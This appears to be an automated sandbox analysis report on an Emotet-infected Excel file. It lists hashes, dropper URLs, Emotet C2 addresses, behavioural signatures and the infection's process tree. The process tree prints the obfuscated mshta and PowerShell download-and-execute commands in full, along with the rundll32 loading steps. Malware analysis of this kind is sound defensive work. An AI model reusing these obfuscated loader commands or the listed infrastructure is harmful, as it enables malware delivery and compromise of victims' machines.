emotet | 554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6

General

Target

941152862708266.xls
Size

128KB
MD5

d0efc7a0b8673689b738de5d3d155e6d
SHA1

66beb67d482a5de21d0a614abed203a4342158e8
SHA256

554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6
SHA512

26ae37022b3063230afe9ea64d459176f8256bd07152a04a25d7f729346a7a28c6a5ea3c313ef2ffdddc7a0e6bdb1dc686fabb25fad67e4b68a5b1fc6f99202a

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3864	1948	cmd.exe	50

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 600 created 3504	600	WerFault.exe	59

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
17	3504	mshta.exe
18	4024	powershell.exe
22	4024	powershell.exe
24	4024	powershell.exe
33	1188	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3168	rundll32.exe
4028	rundll32.exe
2492	rundll32.exe
1188	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Nnccvqhaia\yscinaa.yxu	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2184	3504	WerFault.exe	59

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1948	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4024	powershell.exe
4024	powershell.exe
2184	WerFault.exe
2184	WerFault.exe
1188	rundll32.exe
1188	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 3864	1948	EXCEL.EXE	57
PID 1948 wrote to memory of 3864	1948	EXCEL.EXE	57
PID 3864 wrote to memory of 3504	3864	cmd.exe	59
PID 3864 wrote to memory of 3504	3864	cmd.exe	59
PID 3504 wrote to memory of 4024	3504	mshta.exe	62
PID 3504 wrote to memory of 4024	3504	mshta.exe	62
PID 600 wrote to memory of 3504	600	WerFault.exe	59
PID 600 wrote to memory of 3504	600	WerFault.exe	59
PID 4024 wrote to memory of 2284	4024	powershell.exe	65
PID 4024 wrote to memory of 2284	4024	powershell.exe	65
PID 2284 wrote to memory of 3168	2284	cmd.exe	66
PID 2284 wrote to memory of 3168	2284	cmd.exe	66
PID 2284 wrote to memory of 3168	2284	cmd.exe	66
PID 3168 wrote to memory of 4028	3168	rundll32.exe	67
PID 3168 wrote to memory of 4028	3168	rundll32.exe	67
PID 3168 wrote to memory of 4028	3168	rundll32.exe	67
PID 4028 wrote to memory of 2492	4028	rundll32.exe	69
PID 4028 wrote to memory of 2492	4028	rundll32.exe	69
PID 4028 wrote to memory of 2492	4028	rundll32.exe	69
PID 2492 wrote to memory of 1188	2492	rundll32.exe	70
PID 2492 wrote to memory of 1188	2492	rundll32.exe	70
PID 2492 wrote to memory of 1188	2492	rundll32.exe	70

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\941152862708266.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4024
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3168
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4028
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nnccvqhaia\yscinaa.yxu",gXtpfpwmJobpud
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2492
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nnccvqhaia\yscinaa.yxu",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1188
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3504 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2184

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 200 -p 3504 -ip 3504
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1188-221-0x0000000004E10000-0x0000000004E36000-memory.dmp

Filesize
152KB

Download
memory/1188-225-0x0000000005020000-0x0000000005046000-memory.dmp

Filesize
152KB

Download
memory/1188-213-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/1188-217-0x0000000004C30000-0x0000000004C56000-memory.dmp

Filesize
152KB

Download
memory/1188-219-0x0000000004D10000-0x0000000004D36000-memory.dmp

Filesize
152KB

Download
memory/1188-211-0x0000000004350000-0x0000000004376000-memory.dmp

Filesize
152KB

Download
memory/1188-223-0x0000000004F40000-0x0000000004F66000-memory.dmp

Filesize
152KB

Download
memory/1948-248-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-134-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-133-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-137-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/1948-247-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-138-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/1948-130-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-249-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-132-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-250-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/1948-131-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/2492-208-0x0000000002F10000-0x0000000002F36000-memory.dmp

Filesize
152KB

Download
memory/3168-191-0x0000000004C90000-0x0000000004CB6000-memory.dmp

Filesize
152KB

Download
memory/4024-175-0x000001EB6C1B0000-0x000001EB6C1B2000-memory.dmp

Filesize
8KB

Download
memory/4024-194-0x000001EB6C6C0000-0x000001EB6C736000-memory.dmp

Filesize
472KB

Download
memory/4024-178-0x000001EB6BBC0000-0x000001EB6BC04000-memory.dmp

Filesize
272KB

Download
memory/4024-177-0x000001EB6C1B6000-0x000001EB6C1B8000-memory.dmp

Filesize
8KB

Download
memory/4024-176-0x000001EB6C1B3000-0x000001EB6C1B5000-memory.dmp

Filesize
8KB

Download
memory/4024-172-0x000001EB6BB20000-0x000001EB6BB42000-memory.dmp

Filesize
136KB

Download
memory/4028-206-0x00000000053B0000-0x00000000053D6000-memory.dmp

Filesize
152KB

Download
memory/4028-203-0x0000000005130000-0x0000000005156000-memory.dmp

Filesize
152KB

Download
memory/4028-201-0x00000000050D0000-0x00000000050F6000-memory.dmp

Filesize
152KB

Download
memory/4028-197-0x0000000004D50000-0x0000000004D76000-memory.dmp

Filesize
152KB

Download
memory/4028-195-0x0000000004760000-0x0000000004786000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads